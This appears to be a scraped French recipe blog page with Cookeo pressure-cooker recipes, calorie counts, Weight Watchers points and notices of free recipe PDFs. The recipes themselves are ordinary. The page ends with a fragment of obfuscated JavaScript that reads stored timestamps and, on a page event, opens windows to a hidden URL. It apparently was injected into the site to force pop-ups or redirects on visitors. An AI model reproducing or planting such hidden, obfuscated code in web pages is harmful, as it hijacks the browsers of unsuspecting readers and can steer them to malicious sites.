Haricots verts carbonara weight watchers cookeo

Haricots verts carbonara weight watchers cookeo

Haricots verts carbonara weight watchers cookeo

285 CALORIES 7 PP 4 SP

Ingrédients pour 4 personnes

120 g de Jambon fumé

1 kg de haricots verts

2 cuillères à café de magarine végétale (10g)

4 cuillères à soupe de crème fraîche à 15% (120 g )

Sel

Poivre

Muscade

2 jaune d’oeuf

Préparation

Découpez le jambon fumé en lanières ou en morceaux

Séparez les blancs des jaunes.

Mélangez les jaunes d’œufs avec la crème fraîche

Déposez les haricots verts dans la cuve du cookeo .

Versez 200 ml d’eau .

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée égouttez les haricots verts . Réservez les dans un plat et couvrez les.

Mode dorer

Déposez la margarine dans la cuve puis ajoutez le jambon fumé coupé en morceaux ou en lanières.

Ajoutez les haricots verts puis versez la préparation jaune d’œufs crème fraîche.

Salez et poivrez selon votre convenance .

Saupoudrez avec la cuillère à café de muscade.

Servez chaud.

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Dinde lentilles recette cookeo

Dinde lentilles recette cookeo

Dinde lentilles recette cookeo

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Ingrédients pour 4 personnes

500 g de lentilles

400 g d’escalope de dinde

200 g de carottes

100 g d’oignons congelés ou 1 oignon frais

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de bœuf

2 cuillères à soupe de concentré de tomates

Sel

Poivre

1,5 l d’eau

1 petite boite de tomates pelées

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14pt; »>Préparation

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Rincez les lentilles sous l’eau

Coupez l’oignon en morceaux

Epluchez et coupez es carotte en rondelles

Mode dorer 

Versez de l’huile dans le Cookeo et quand l’huile est chaude faites revenir les morceaux d’escalopes de dinde.

Ajoutez ensuite les morceaux d’oignons pour les faire dorer.

Au bout de 3 mn de fonction dorer versez les lentilles et ajoutez les carottes. Puis recouvrez avec un bouillon composé de 1,5 l d’eau et d’un cube de bouillon de bœuf émietté.

Ajoutez du sel et du poivre ;

 Cuisson rapide ou cuisson sous pression 

Programmez 20 mn

. Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de concentré de tomates. Mélangez et  Servez chaud

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Couscous de la mer recette cookeo

Couscous de la mer recette cookeo

Couscous de la mer recette cookeo

Ingrédients pour 4 personnes

400 g de pavé de saumon

100 g de cocktail de fruits de mer

1 boite de tomates pelées

1 petite  boite de pois chiche

1 oignon

200 g de courgettes

200 g de carottes

250 g de semoule

250 ml d’eau

4 cuillères à café de ras el hanout

2 cuillères à soupe d’huile d’olive

Préparation

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Coupez le pavé de saumon en morceaux.

Coupez les carottes en rondelles

Coupez les courgettes en morceaux

Egouttez les pois chiches

Coupez l’oignon en morceaux

Déposez les graines de couscous dans un saladier

Mode dorer

Versez l’huile d’olive dans la cuve ,quand l’huile est chaude faite dorer les oignons .

Ajoutez les  morceaux de saumon et  le cocktail de fruits de mer. .

Ajoutez les courgettes, les carottes et la boite de tomates pelées, les pois chiches.

Saupoudrez avec le ras el hanout.

Salez et poivrez selon votre convenance

Versez les 250 ml d’eau

Cuisson rapide ou sous  pression

Programmez 5mn

Egouttez la cuve au dessus du saladier de grain de semoule .

Laissez gonflez la semoule  avec un couvercle sur le saladier puis égrenez avec une fourchette.

Dressez vos assiettes et servez chaud.

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Gratin purée pommes de terre cookeo

Gratin purée pommes de terre cookeo

Gratin purée pommes de terre cookeo

Ingrédients pour 4 personnes

1 kg de pommes de terre

50 g de beurre

200 g de crème fraîche

100 ml de lait

Sel

600 ml d’eau

100 g de gruyère râpé

Préparation

Epluchez ,lavez les pommes de terre et coupez les en morceaux .

Déposez les morceaux de pommes de terre dans la cuve .

Versez l’eau.

Faites préchauffer votre four .

Cuisson rapide ou sous pression

Programmez 7 mn

Quand la cuisson est terminée égouttez la cuve et redéposez les pommes de terre dans la cuve .

Passez les pommes de terre au presse purée.

Versez le lait

Ajoutez la crème fraîche ainsi que le beurre . Mélangez .

Salez selon votre convenance.

Déposez dans un plat qui va au four la préparation pommes de terre crème fraîche .

Saupoudrez de gruyère puis enfournez 10 mn à 180°.

Puis passez en mode grill  à pleine puissance pendant 10 mn .

Servez chaud .

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Recettes cookeo minceur vol 11

Recettes cookeo minceur vol 11

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Recettes cookeo minceur vol 11

Voici le 11è volume , de recettes cookeo minceur .

Ces recettes sont chiffrées en Calories mais aussi en Smartpoints (programme liberté) et propoints  de la méthode weight watchers

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Artichauts Moulinex 225 CALORIES 5PP 2SP.. 

Blanquette de saumon coco 380 CALORIES 8 PP 2 SP.. 

Boulgour à la tomate 360 CALORIES 7 PP 6 SP.. 

Bouillon de légumes 75 CALORIES 2 PP 1 SP.. 

Carottes aux oignons  80 CALORIES 2 PP 2 SP.. 

Carottes glacées 120 CALORIES 3 PP 4 SP..

Calamars à la tomate 260 CALORIES 6 PP 2 SP.. 

Champignons bourguignonne 110 CALORIES  3PP 2 SP.. 

Citrouille à l’orange 195 CALORIES 5 PP 4 SP.. 

Colin aux petites crevettes 190 CALORIES 4 PP 2 SP.. 

Côtes de porc tomates 230 CALORIES 5 PP 5 SP..

Encornets à la tomate 230 calories 5 PP 3 SP.. 

Filet mignon miel 310 CALORIES 8 PP 9 SP.. 

Filet mignon tomates 150 CALORIES 3 PP 4 SP.. 

Flan courgettes 130 CALORIES 3 PP 4 SP.. 

Haricots verts plats à la tomate 65 CALORIES 1 PP 0 SP.. 4

Harira aux légumes 160 CALORIES 3 PP 1 SP.. 

Potée chou vert sauté de porc 285 CALORIES 6 PP 6 SP.. 

Soupe potiron 180 CALORIES 3 PP 3 SP..

Steaks hachés haricots verts 266 CALORIES 8 PP 13 SP.. 

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96 livres recettes (Pdf) cookeo nouveau




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96 livres recettes (Pdf) cookeo nouveau

Voilà dans cet article une mise à jour . Nous étions à 85 PDF  et nous passons maintenant à 96. De quoi je pense trouver son bonheur.

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    • Gratin pommes de terre fromage tartiflette cookeo

    Gratin pommes de terre fromage tartiflette cookeo

    Gratin pommes de terre fromage tartiflette cookeo

    Ingrédients pour 4 personnes

    1,2 kg de pommes de terre à chair ferme

    200 g de fromage à tartiflette

    200 g de crème fraîche

    100 ml de vin blanc

    100 ml d’eau

    Préparation

    Epluchez, lavez et coupez vos pommes de terre.

    Découpez le fromage en tranches

    Mode dorer

    Déposez les pommes de terre dans la cuve.

    Versez 100 ml de vin blanc ,100 ml d’eau.

    Poivrez selon votre convenance

    Cuisson rapide ou sous pression

    Programmez 4 mn

    Quand la cuisson est terminée ajoutez la crème fraîche et mélangez.

    Placez les pommes de terre dans un plat qui va four et vous disposez les tranches de fromage dessus. Vous enfournez à 210° pendant 15 à 20 mn.

    [youtube https://www.youtube.com/watch?v=pSM0Qh0W_Dg&w=560&h=315]

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    200 recettes cookeo minceur vol 1 à 10

    200 recettes cookeo minceur vol 1 à 10

    Vous trouverez dans cet article les 10 premiers volume de recettes cookeo minceur déjà publiés sur mon blog. 

    Il s’agit de vous facilitez la tâche pour retrouvez rapidement ces recettes

    Pour pouvoir téléchargez et atteindre les PDF gratuits il suffit de cliquez sur les images . Chaque image vous renvoit à un PDF de 20 recettes minceur cookeo.

    D’autres PDF de recettes cookeo minceur sont en cours ,le volume 11  paraîtra bientôt.

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    Poulet pommes de terre recette cookeo

    Poulet pommes de terre recette cookeo

    Poulet pommes de terre recette cookeo

    250 CALORIES 5 PP 4 SP

    Ingrédients pour 4 personnes

    400 g d’escalope de poulet

    400 g de pommes de terre 

    200 g de champignons de Paris frais ou congelé

    50 ml de vin blanc

    150 ml d’eau

    2 cuillères à soupe d’huile d’olive

    1 cube de bouillon de volaille

    Préparation

    Epluchez les pommes de terre et passez les sous l’eau.

    Coupez les pommes de terre en morceaux.

    Coupez les champignons de Paris en morceaux s’ils sont frais

    Coupez les escalopes de poulet en morceaux également.

    Mode dorer

    Versez l’huile dans la cuve puis quand l’huile est chaude faites dorer les morceaux de poulet pendant 2 à 3 mn puis ajoutez les champignons de Paris en morceaux .

    Ajoutez les morceaux de pommes de terre .

    Versez un bouillon composé de 50 ml de vin blanc ,150 ml d’eau et d’un cube de bouillon de volaille émietté.

    Salez et poivrez selon votre convenance.

    Cuisson rapide ou sous pression

    Programmez 5 mn .

    Servez chaud .

    Astuce

    Vous pouvez mettre tous les ingrédients dans un plat qui va au four quand la cuisson est terminée . Cela permet de maintenir au chaud et de donner un aspect doré à votre plat .

    [youtube https://www.youtube.com/watch?v=eoDVTuTVCik&w=560&h=315]

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    Oeufs brouillés saumon recette cookeo

    Oeufs brouillés saumon r

    Ingrédients pour 4 personnes

    8 œufs

    4 tranches de saumon

    2 cuillères à soupe de crème fraîche.

    Quelques feuilles de persil

    2 cuillères à soue d’huile d’olive

    Préparation

    Lavez et ciselez le persil.

    Dans un saladier battez les œufs.

    Ajoutez la crème fraîche et mélangez.

    Ajoutez le saumon coupé en morceaux .

    Ajoutez le persil ciselé.

    Mode dorer

    Versez l’huile d’olive dans la cuve .

    Quand l’huile est chaude versez l’ensemble de la préparation dans la cuve .

    Arrêtez la cuisson quand les œufs sont cuits .

    Servez chaud

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    Oeufs brouillés jambon cookeo

    Oeufs brouillés jambon cookeo

    Ingrédients pour 4 personnes

    6 œufs

    100 g d’oignons

    2 cuillères à soupe d’huile d’olive

    100 g de jambon de pays

    Sel

    Poivre

    Persil frais ou déshydraté

    Préparation

    Coupez l’oignon en morceaux.

    Coupez le jambon de pays en morceaux

    Lavez les tomates et coupez-les en morceaux.

    Battez les œufs dans un récipient.

    Mode dorer

    Versez l’huile d’olive dans la cuve. Faites revenir les morceaux de jambon   et les morceaux d’oignons .

    Ajoutez les œufs battus.

    Saupoudrez de persil frais ou déshydraté

    Mélangez jusqu’à la cuisson des œufs.

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    Tartiflette maison recette cookeo

    Tartiflette maison recette cookeo

    Ingrédients pour 4 personnes

    1 kg de pommes de terre à chair ferme

    200 g de fromage à tartiflette

    200 g de lardons

    200 g de crème fraîche

    100 ml de vin blanc

    100 ml d’eau

    1 oignon

    Préparation

    Epluchez, lavez et coupez vos pommes de terre.

    Découpez le fromage en tranches

    Coupez l’oignon en morceaux

    Mode dorer

    Déposez les lardons dans la cuve pour les faire dorer. Puis faites dorer les morceaux d’oignons

    Déposez les pommes de terre dans la cuve.

    Versez 100 ml de vin blanc ,100 ml d’eau.

    Cuisson rapide ou sous pression

    Programmez 4 mn

    Quand la cuisson est terminée ajoutez la crème fraîche et mélangez.

    • Pour faire fondre le fromage 2 solutions :
    • Soit vous passez en maintien au chaud pour faire fondre le fromage
    • Soit-vous placez les pommes de terre et les lardons dans un plat qui va four et vous disposez les tranches de fromage dessus. Vous enfournez à 180° pendant 30 mn.

    [youtube https://www.youtube.com/watch?v=hN-kp3UDNJI&w=560&h=315]

    par exemple.
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    Côtes de porc champignons moutarde cookeo

    Côtes de porc champignons moutarde cookeo

    Ingrédients pour 5 personnes

    5 côtes de porc sans os

    200 g de champignons de Paris congelés

    100 g d’oignons congelés

    1 Cube de bouillon de bœuf

    1 cuillère à soupe de moutarde

    2 cuillères à soupe d’huile d’olive

    100 ml de vin blanc

    100 ml d’eau

    2 cuillères à soupe de crème fraîche

    Sel

    Poivre

    1 cuillère à soupe de maizena

    Préparation

    Mode dorer

    Faites revenir les côtes de porc dans l’huile d’olive puis ajoutez les oignons.

    Ajoutez ensuite les champignons.

    Versez l’eau et le cube de bouillon de bœuf émietté ainsi que le vin blanc

    Salez et poivrez selon votre convenance.

    Cuisson rapide ou sous pression

    Programmez 5 mn

    Quand la cuisson est terminée ajoutez la crème fraîche, la moutarde.

    Passez en mode dorer

    Ajoutez la  cuillère à soupe de maïzena  et faites épaissir la sauce

    Servez chaud

    [youtube https://www.youtube.com/watch?v=IgcEdCYoEyM&w=560&h=315]

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());